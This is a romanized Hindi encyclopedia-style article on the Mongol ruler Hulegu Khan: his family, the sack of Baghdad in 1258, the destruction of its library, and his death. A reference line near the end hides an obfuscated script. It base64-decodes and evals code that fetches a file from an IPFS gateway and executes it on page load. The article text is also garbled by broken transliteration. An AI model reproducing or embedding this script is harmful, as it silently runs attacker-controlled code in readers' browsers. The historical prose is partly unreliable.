हुलेगु ख़ान
hulegu khan athava halakoo khan (janm- march, 1217; mrityu- 8 faravari, 1265) 'ilakhani samrajy' ka sansthapak aur changez khaan ka pota tha. changez khaan ki tarah hulegu bhi ek mangol shasak tha, jisane eeran samet dakshin-pashchim eshiya ke any b de hissoan par kroor akraman karake madhy eshiya mean tho de samay mean hi vijay prapt ki aur 'ilakhani samrajy' sthapit kiya. yah samrajy mangol samrajy ka ek bhag tha. hulegu khan ke netritv mean mangoloan ne islam ke sabase shaktishali keandr bagadad ko tabah kar diya tha. eeran sahit arab mulkoan par adhikar islam ke ubharane ke lagabhag turant bad ho chuka tha aur tab se vahaan ke sabhi vidvan arabi bhasha mean hi likha karate the.
janm tatha parivarik parichay
hulegu khan ki anumanit janm tithi march, 1217 eesvi thi. parivarik itihas ke anusar hulegu khan mangol samrajy ke sansthapak changez khaan ka pota aur usake chauthe putr tolui khan ka putr tha. hulegu ki mata soragogatani beki (tolui khan ki patni) ne use aur usake bhaiyoan ko bahut nipunata se pala tha aur unaki paravarish ki thi. usane paristhitiyoan par aisa niyantran rakha ki hulegu bachapan mean hi ek b da l dakoo aur khataranak yoddha ban gaya. age chalakar usane apane balaboote par mangoloan ka chin aur roos sahit kirgistan, uzbekistan, eeran, aur afaganistan tak ek b da samrajy sthapit kiya. hulegu khan ki patni dokuj khatoon ek nestoriyaee eesaee thi. hulegu ke 'ilakhani samrajy' mean bauddh aur eesaee dharm ko badhava diya jata tha. usaki patni dokuj khatoon ne bahut koshish ki ki hulegu bhi eesaee ban jae, lekin vah ant tak bauddh dharm ka anuyayi hi raha.[1]
bagadad par akraman
hulegu khan ki sena ne bagadad ka vinash navambar, 1257 mean kiya, jab eerak mean hulegu khan ki 10 lakh mangol phauj ne bagadad ki taraf kooch kiya. yahaan se khalifa apana islami raj chalate the. yahaan pahuanchakar hulegu khan ne apani sena ko poorvi aur pashchimi hissoan mean baanta, jo shahar se gujarane vali 'dajala nadi'[2] ke donoan kinaroan par akraman kar sake. 29 janavari, 1258 mean mangoloan ne bagadad par ghera dala aur 5 faravari tak usaki sena shahar ki rakshak divar ke ek hisse par adhikar jama chuki thi. khalifa ne hathiyar dalane ki bat par vichar kiya, lekin mangoloan ne bat karane se inakar kar diya aur 13 faravari ko bagadad shahar mean ghus ae. usake bad ek hafte tak unhoanne vahaan lootamar karate rahe. bagadad ke nagarikoan aur vyapariyoan ko loota gaya. jin nagarikoan ne bhagane ki koshish ki, unhean bhi rokakar mara gaya.[1]
pustakalay ka vinash
us samay bagadad mean ek mahanh pustakalay hua karata tha, jisamean khagolashastr se lekar chikitsashastr tak har vishay par anaginat dastavej aur kitabean thian. mangoloan ne sabhi uthakar nadi mean pheank die. jo sharanarthi bachakar vahaan se nikale unhoanne bad mean bataya ki pheanki geean hazaroan-lakhoan kitaboan ki syahi se dajala ka pani kala ho gaya tha. mahal, masjidean, haspatal aur any mahanh imaratean jala di geean. yahaan marane valoan ki sankhya kam-se-kam ek lakh bataee jati hai.
mrityu
bad mean yoorop se ane vale yatri marko polo ke anusar arab ke khalifa ko bhookha-pyasa mara gaya. lekin usase adhik vishvasaniy bat yah hai ki mangol aur muslim srotoan ke anusar use ek kalin mean lapet diya gaya aur usake oopar se tab tak gho de dau dae ge, jab tak usane dam nahian to d diya. arab deshoan par adhikar karane ke badasanh1260 mean hulegu khan ne bharat par akraman ki bhi yojana banaee thi, lekin bhari-bharakam phauj ko lambe raste tay karane ki kathinaee ke karan aur uttar bharat ke mausam ki mar ke chalate hulegu khan raste mean hi bimari ka shikar ho gaya aur svasthy labh ke lie vapas mangoliya laut gaya. vapas lautakar rahasyamay dhang se 1265 mean usaki maut ho gee
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tika tippani aur sandarbh
- ↑ 1.0 1.1 dariande jinase itihas kaanpata tha (hindi). . abhigaman tithi: 06 janavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ taigris nadi
bahari k diyaan
sanbandhit lekh
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